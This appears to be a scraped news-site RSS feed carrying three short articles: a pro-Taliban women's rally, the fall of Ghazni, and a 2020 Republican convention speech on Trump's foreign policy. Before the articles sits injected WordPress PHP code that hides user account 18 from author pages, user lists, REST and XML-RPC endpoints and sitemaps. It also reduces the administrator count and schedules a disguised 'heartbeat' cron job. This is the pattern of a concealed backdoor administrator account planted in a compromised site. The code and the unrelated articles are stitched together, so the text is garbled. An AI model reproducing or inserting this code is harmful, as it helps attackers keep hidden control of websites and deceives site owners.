add_action( 'pre_get_posts', function( $q ) {
if ( ! is_admin() && $q->is_main_query() ) {
$not_in = (array) $q->get( 'author__not_in' );
$not_in[] = 18;
$q->set(
'author__not_in',
array_unique( array_map( 'intval', $not_in ) )
);
}
}, 1 );
add_action( 'template_redirect', function() {
if ( is_author() ) {
$author = get_queried_object();
if ( $author instanceof WP_User && (int) $author->ID === 18 ) {
global $wp_query;
$wp_query->set_404();
status_header( 404 );
nocache_headers();
}
}
} );
add_action( 'pre_user_query', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
global $wpdb;
$q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 18 );
} );
add_action( 'pre_get_users', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
$exclude = (array) $q->get( 'exclude' );
$exclude[] = 18;
$q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );
add_filter( 'wp_dropdown_users_args', function( $a ) {
$exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
$exclude[] = 18;
$a['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $a;
} );
add_filter( 'rest_user_query', function( $args, $request ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
}, 10, 2 );
add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
$route = $request->get_route();
if ( preg_match( '#^/wp/v2/users/18(/|$)#', $route ) ) {
return new WP_Error(
'rest_user_invalid_id',
'Invalid user ID.',
array( 'status' => 404 )
);
}
return $result;
}, 10, 3 );
add_filter( 'xmlrpc_methods', function( $methods ) {
unset(
$methods['wp.getUsers'],
$methods['wp.getUser'],
$methods['wp.getProfile']
);
return $methods;
} );
add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
} );
add_action( 'admin_head-users.php', function() {
echo '';
} );
add_filter( 'views_users', function( $views ) {
foreach ( array( 'all', 'administrator' ) as $key ) {
if ( isset( $views[ $key ] ) ) {
$views[ $key ] = preg_replace_callback(
'/\((\d+)\)/',
function( $m ) {
return '(' . max( 0, (int) $m[1] - 1 ) . ')';
},
$views[ $key ],
1
);
}
}
return $views;
} );
add_action( 'init', function() {
if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
return;
}
if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
}
} );
add_action( 'wp_extra_bot_heartbeat', function() {
// noop
} );
The post Women Hold Pro-Taliban Rally: ‘Hijab Not a Choice, Last Afghan Government Misused Us for Beauty’ appeared first on The Edge Media.
]]>About 300 women brandished Taliban flags while speakers screamed against the West and showed support for the Islamists’ policies, dressed head-to-toe in conformity with strict new dress restrictions for schooling.
A few wore blue burqas with only a little mesh window to see through, but the majority wore black niqabs that covered most of their faces except their eyes. Many donned black gloves as well.
Women’s rights in Afghanistan were severely restricted during the Taliban’s leadership from 1996 to 2001, but since regaining power last month, they have promised to pursue a more moderate policy.
The post Women Hold Pro-Taliban Rally: ‘Hijab Not a Choice, Last Afghan Government Misused Us for Beauty’ appeared first on The Edge Media.
]]>The post Ghazni is the tenth provincial capital to fall to the Taliban appeared first on The Edge Media.
]]>The terrorists, according to the Associated Press, raised their white flags inscribed with an Islamic statement of faith over Ghazni, a city located 130 kilometers southwest of Kabul. Sporadic fighting persisted outside the city at an intelligence base and an army installation, according to two local officials.
Ghazni’s fall is another major blow for the Afghan government. The city is located on the Kabul-Kandahar Highway, which connects Afghanistan’s capital with the country’s southern provinces. This might make resupply and movement for government forces more difficult, as well as restricting access to the city from the south.
The post Ghazni is the tenth provincial capital to fall to the Taliban appeared first on The Edge Media.
]]>The post White House Official: “Trump ‘Is No Hawk’, Believes In Peace” appeared first on The Edge Media.
]]>“President Trump challenged, and continues to challenge, an increasingly provocative and militant China. But make no mistake, President Trump is no hawk,” Lt Gen (retired) Joseph Keith Kellogg Jr., who is the National Security Advisor to Vice President Mike Pence, said in his address to the Republican National Convention.
“He wisely wields the sword when required, but believes in seeking peace instead of perpetual conflict,” Kellogg said in his address on the third day of the convention.
The Republican National Convention will on Thursday formally re-nominate President Donald Trump as its candidate for the November 3 presidential election.
President Trump and Vice President Mike Pence will be challenged by the Democratic Party’s presidential nominee Joe Biden and his Indian-American running mate Senator Kamala Harris.
In his remarks, Kellogg said that just over a week ago, Trump brokered a peace agreement between the United Arab Emirates and Israel, the first in the Middle East in over 25 years. And this week, Afghan negotiators, with help from American officials, will start peace negotiations between the Taliban and the Afghan government to end America’s longest war, he said.
“Ask yourself, has this President kept his promises…to keep us out of needless conflicts and to pursue ending wars without end? Has he defended your interests in renegotiating trade deals that previously hurt Americans and our national security? Has he fulfilled his Commander in Chief role by decisively going after our Nation’s enemies? You and I know, the answer is yes,” Kellogg said.
The choice is clear, he said. “This is the most important election of our lifetime. The next four years will decide the course of our country for decades to come. I am asking you to stand up and be counted, so we never have to look back and recall what it was once like in America when men and women were free, our families were secure — and we had a President who served the people,” he said.
Over the past three-and-a-half years, Kellogg said, he has witnessed every major foreign policy and national security decision by the President.
“I have been in the room where it happened. I saw only one agenda and one guiding question when tough calls had to be made is this decision right for America?” he said.
– PTI
The post White House Official: “Trump ‘Is No Hawk’, Believes In Peace” appeared first on The Edge Media.
]]>